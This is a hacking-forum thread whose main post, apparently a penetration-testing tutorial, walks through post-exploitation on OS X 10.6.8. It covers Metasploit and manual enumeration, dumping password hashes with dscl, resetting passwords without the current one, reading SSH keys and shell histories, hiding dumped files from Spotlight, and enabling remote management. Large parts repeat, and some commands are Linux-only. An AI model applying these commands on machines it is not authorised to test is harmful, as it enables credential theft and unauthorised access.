[CyberStrike]

Tested against 10.6.8 so double check against newer version


OSX may or may not be encountered during an engagement but in case if it is encountered one must know post exploitation procedures. OSX does have BASH terminal similar to Linux yet much of the functionality is not there. For reference for the terminal commands in OSX check in the reference links.Much of the localhost enumeration will be the same as with Linux although we must remember that some of the commands and files may not be in the same locations as one would generally look in Linux. In addition one should note that creating backdoors for OSX the file type will be a “macho” much like how in Linux users “elf” and Windows uses “exe”. There are several post modules in metasploit for OSX so you are not without your trusty modules in metasploit when it comes to OSX. (Some of these commands may not be used any further so verify the commands)


Information Gathering via meterpreter:

Step 1

Code

use post/osx/gather/enum_osx

Code

run

This will gather information on the state of the localhost in order to get situational awareness. This post module will gather information on the OS, firewall, logs, bluetooth, ethernet, networks, applications, startup, and many more configurations to help you get your situational awareness. You can find the results in the ~/.msf4/logs/post/enum_osx/ folder of course navigate to the corresponding file usually titled as “Victim.local_#here”, which now you may read the various text files to the corresponding gathered information.  

If you do not have meterpreter then you will have to enumerate manually, so let’s dive into that subject.

Finding out the OS

Step 1

Code

uname -a

sw_vers
     sw_vers -productName
     sw_vers -productVersion
     sw_vers -buildVersion
system_profiler -xml -detaillevel full

You also may want this into a text format in that case run the following:

Code

system_profiler -deataillevel full > osxreport.txt

System profiler has many things which can be enumerated without root.  The following is a list of various data sets that maybe enumerated individually.

Code

SPHardwareDataType
SPNetworkDataType
SPSoftwareDataType
SPParallelATADataType
SPAudioDataType
SPBluetoothDataType
SPDiagnosticsDataType
SPDiscBurningDataType
SPFibreChannelDataType
SPFireWireDataType
SPDisplaysDataType
SPMemoryDataType
SPPCCardDataType
SPPCIDataType
SPParallelSCSIDataType
SPPowerDataType
SPPrintersDataType
SPSerialATADataType
SPUSBDataType
SPAirPortDataType
SPFirewallDataType
SPNetworkLocationDataType
SPModemDataType
SPNetworkVolumeDataType
SPApplicationsDataType
SPExtensionsDataType
SPFontsDataType
SPFrameworksDataType
SPLogsDataType
SPPrefPaneDataType
SPStartupItemDataType

As we can see this is a one stop shopping list of information we need to gather on a OSX machine. As an example let us look at how to use this command.

Code

system_profiler SPFirewallDataType

Recent Applications and Documents:

First you want ensure that all outputs are saved in a txt document to ensure that no enumerated data is lost during the engagement.

Step 1

Code

defaults read com.apple.recentitems RecentApplications | grep Name
defaults read com.apple.recentitems RecentDocuments | grep Name

SpotLight Search (No root)

Code

mdfind

There are several search criteria to pay attention to
Applications kind:application, kind:applications, kind:app
Audio/Music kind:audio, kind:music
Bookmarks kind:bookmark, kind:bookmarks
Contacts kind:contact, kind:contacts
Email kind:email, kind:emails, kind:mail message, kind:mail messages
Folders kind:folder, kind:folders
Fonts kind:font, kind:fonts
iCal Events kind:event, kind:events
iCal To Dos kind:todo, kind:todos, kind:to do, kind:to dos
Images kind:image, kind:images
Movies kind:movie, kind:movies
PDF kind:pdf, kind:pdfs
Preferences kind:system preferences, kind:preferences
Presentations kind:presentations, kind:presentation
You also may specify dates and use boolean operators
date:today    $time.today()
date:yesterday .yesterday()
date:this week  .this_week()
date:this month .this_month()
date:this year  .this_year()

date:tomorrow  .tomorrow()
date:next month  .next_month()
date:next week  .next_week()
date:next year  .next_year()
Boolean Operators
By default mdfind will AND together elements of the query string.
| (OR) To return items that match either word, use the pipe character: stringA|stringB
- (NOT) To exclude documents that match a string -string
== “equal”
!= “not equal”
< and > “less” or “more than”
<= and >= “less than or equal” or “more than or equal”
Whitespace is significant when building a query, use parenthesis () to create groups.

Searching you maybe able to locate files with significance such as resumes or passwords saved in a text document, pictures are also helpful as they often contain metadata such as locations for the user and the device which the picture was taken on.

Examples:

Code

mdfind image

mdfind "kMDItemAuthor == '*First Lastname*'" (you will use the name of the target instead of First Lastname)

---

Recent Applications and Documents:

First you want ensure that all outputs are saved in a txt document to ensure that no enumerated data is lost during the engagement.

Step 1

Code

defaults read com.apple.recentitems RecentApplications | grep Name
defaults read com.apple.recentitems RecentDocuments | grep Name

SpotLight Search (No root)

Code

mdfind

There are several search criteria to pay attention to
Applications kind:application, kind:applications, kind:app
Audio/Music kind:audio, kind:music
Bookmarks kind:bookmark, kind:bookmarks
Contacts kind:contact, kind:contacts
Email kind:email, kind:emails, kind:mail message, kind:mail messages
Folders kind:folder, kind:folders
Fonts kind:font, kind:fonts
iCal Events kind:event, kind:events
iCal To Dos kind:todo, kind:todos, kind:to do, kind:to dos
Images kind:image, kind:images
Movies kind:movie, kind:movies
PDF kind:pdf, kind:pdfs
Preferences kind:system preferences, kind:preferences
Presentations kind:presentations, kind:presentation
You also may specify dates and use boolean operators
date:today    $time.today()
date:yesterday .yesterday()
date:this week  .this_week()
date:this month .this_month()
date:this year  .this_year()

date:tomorrow  .tomorrow()
date:next month  .next_month()
date:next week  .next_week()
date:next year  .next_year()
Boolean Operators
By default mdfind will AND together elements of the query string.
| (OR) To return items that match either word, use the pipe character: stringA|stringB
- (NOT) To exclude documents that match a string -string
== “equal”
!= “not equal”
< and > “less” or “more than”
<= and >= “less than or equal” or “more than or equal”
Whitespace is significant when building a query, use parenthesis () to create groups.

Searching you maybe able to locate files with significance such as resumes or passwords saved in a text document, pictures are also helpful as they often contain metadata such as locations for the user and the device which the picture was taken on.

Examples:

Code

mdfind image

mdfind "kMDItemAuthor == '*First Lastname*'" (you will use the name of the target instead of First Lastname)

Finding User ID

Step 1

Find out who you are logged in as
whoami

Finding out the Group ID’s that the user belongs to

Step 1

Code

id -Gn user

If you are running as a privileged user then you may use in order to see the processes and user ID’s associated with these processes .

Code

id -A

Options
   -A     Display the process audit user ID and other process audit properties, which requires privilege.

   -G     Display the different group IDs (effective, real and supplementary)
         as white-space separated numbers, in no particular order.

   -M     Display the MAC label of the current process.

   -P     Display the id as a password file entry.

   -g     Display the effective group ID as a number.

   -n     Display the name of the user or group ID for the -G, -g and -u
          options instead of the number.  If any of the ID numbers cannot
          be mapped into names, the number will be displayed as usual.

   -p     Make the output human-readable.  If the user name returned by
          getlogin(2) is different from the login name referenced by the
          user ID, the name returned by getlogin(2) is displayed, preceded
          by the keyword `login'.  The user ID as a name is displayed,
          preceded by the keyword `uid'.  If the effective user ID is
          different from the real user ID, the real user ID is displayed as
          a name, preceded by the keyword `euid'.  If the effective group
          ID is different from the real group ID, the real group ID is displayed
          as a name, preceded by the keyword `rgid'.  The list of
          groups to which the user belongs is then displayed as names, preceded
          by the keyword `groups'.  Each display is on a separate line.

   -r     Display the real ID for the -g and -u options instead of the
         effective ID.

   -u     Display the effective user ID as a number.   

Finding Users (Con’t)

Code

ls -alh /Users/*/
ls -alh /Users/*/.ssh/
cat /Users/*/.ssh/authorized_keys
cat /Users/*/.ssh/known_hosts
cat /Users/*/.*hist*
find -type f /Users/*/.vnc /Users/*/.subversion
grep ^ssh /Users/*/.*hist*
grep ^telnet `/Users/*/.*hist*
grep ^mysql /Users/*/.*hist*
cat /Users/*/.viminfo
sudo -l # if sudoers is not readable, this sometimes works per user
crontab -l

Check the environmental tables

Code

printenv

Check who is logged in

Code

who

Checking the processes currently running

Code

ps -aux
ps -ae

Directory Service Command Line allows to read/manage/change data

Step 1

Code

dscl localhost -read /Search/Users/UserName ShadowHashData | tail -1 | xxd -r -p | plutil -convert xml1 -o - - (Dump in workable format)

You will have to change the ‘UserName’ to the target of our inquiry based upon your information gathering.

Changing user passwd w/ current passwd once again you will have to edit the command to suit the information which you have gathered.

Code

dscl localhost -passwd /Search/Users/UserName(change Username’s password without needing current)

Getting user passwd hash, and you will have to change the <username>.

Code

dscl . -read /Users/<username> ShadowHashData | cut -f9-25 -d" " | cut -f3 -d ":" | tr -d ' '

It is suggested that you save contents of hashed passwords to a text file.

Metadata stores used by Spotlight Search

Turn off SpotLight indexing on / - replace ‘off’ with ‘on’ to turn it back on - useful if you want to not have any files you dump locally indexed - replace ‘/’ with ‘volumeName’ if not working on boot volume

Code

mdutil -i off /

Show indexing of the root volume

Code

mdutil -s /

    There maybe a few differences between the various OSX versions


 OSX Leopard and Lion

Code

dscacheutil -q user
dscacheutil -q group

Tiger

Code

lookupd -q user
lookupd -q group

Networking:
    As has been mentioned above there are many similarities which one may have noticed relative to Linux terminal.  Networking also will have similarities with Linux as well.
Network Information Gathering
Step 1

Code

ifconfig
hostname -f
ip addr show
ifconfig -a
route -n
cat /etc/network/interfaces
iptables -L -n
netstat -anop
netstat -r
netstat -nltupw (root with raw sockets)
arp -a
lsof -nPi

Next check the current tcp/upd connections

Code

netstat -np tcp
netstat -np udp

Check the routes

Code

netstat -nr

---

Checking the configurations

Code

ls -ahl /Applications/
port installed
ls -alh /private/etc/
ls -alh /Library/Application Support/
ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/null
cat /etc/issue{,.net}
cat /etc/passwd
cat /etc/shadow (gotta try..)
cat /etc/shadow~ # (sometimes there when edited with gedit)
cat /etc/master.passwd
cat /etc/group
cat /etc/hosts
cat /etc/crontab
cat /etc/sysctl.conf
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
cat /etc/resolv.conf
cat /etc/samba/smb.conf
pdbedit -L -w
pdbedit -L -v
cat /etc/exports
cat /etc/auto.master
cat /etc/auto_maste
cat /etc/fstab
cat /etc/exports
find /etc/sysconfig/ -type f -exec cat {} \;
cat /etc/sudoers
Applications Installed
cat /etc/apt/sources.list
ls -l /etc/yum.repos.d/
cat  /etc/yum.conf

Important Files

Code

ls -ma ~/
ls -alh /Users/
ls -alh /Users/*/.ssh/
ls -alh /Users/*/.gnupg/
ls -alh /Volumes/
find /var/log -type f -exec ls -la {} \;
ls -alhtr /mnt
ls -alhtr /Volumes
ls -alhtr /tmp
ls -alhtr /home
ls /Users/*/.ssh/*
find /home -type f -iname '.*history'
ls -lart /etc/rc.d/
locate tar | grep [.]tar$
locate tgz | grep [.]tgz$
locate sql l grep [.]sql$
locate settings | grep [.]php$
locate config.inc | grep [.]php$
ls /Users/*/id*
locate .properties | grep [.]properties # java config files
locate .xml | grep [.]xml # java/.net config files
find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm -4000 # find suids

Remote Access (You will need privileges)
Once again we can go ahead and use RDP on a target machine. We can use kickstart to for documentation refer to :
https://support.apple[.]com/en-us/HT201710

Enable VNC from terminal
Step 1

Code

sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -users admin -privs -all -restart -agent -menu

To disable RDP
Step 1

Code

sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -configure -access -off

[L0LAA]

very niceee i like it..... but i just wanted to tell you that there is a rtypo epetition of big part in the middle of the post...but great work ...thansk sirru :D :D

[CyberStrike]

very niceee i like it..... but i just wanted to tell you that there is a rtypo epetition of big part in the middle of the post...but great work ...thansk sirru :D :D

It's so long that now editing it to fix typos would mean I would have to break up the post. I am glad you liked it, you're welcome.

[Travelers]

Great little tutorial. I don't have much, if any, OS X experience so this at least shed a little bit of light on the command line.

[CyberStrike]

Great little tutorial. I don't have much, if any, OS X experience so this at least shed a little bit of light on the command line.

Awesome hope it helps I basically approached it like Linux and tried to find equivalent in the castrated bash of OSX. This weekend I will really try to work on another OSX tutorial. I got a couple of OSX machines so commands do vary a bit so always double check.

[Last_viking]

HQ tutorial ma man this was very helpful learn't something very valuable

[cat_a_pillar]

Yeah this is neat I am going to try to tonight or tomorrow. Thanks a lot man.

[CyberStrike]

HQ tutorial ma man this was very helpful learn't something very   valuable

Awesome glad it of benefit.

Yeah this is neat I am going to try to tonight or tomorrow. Thanks a lot man.

Let me know how it goes.

---

HQ tutorial ma man this was very helpful learn't something very   valuable

Awesome glad it of benefit.

Yeah this is neat I am going to try to tonight or tomorrow. Thanks a lot man.

Let me know how it goes. Double check all commands https://ss64.com/osx/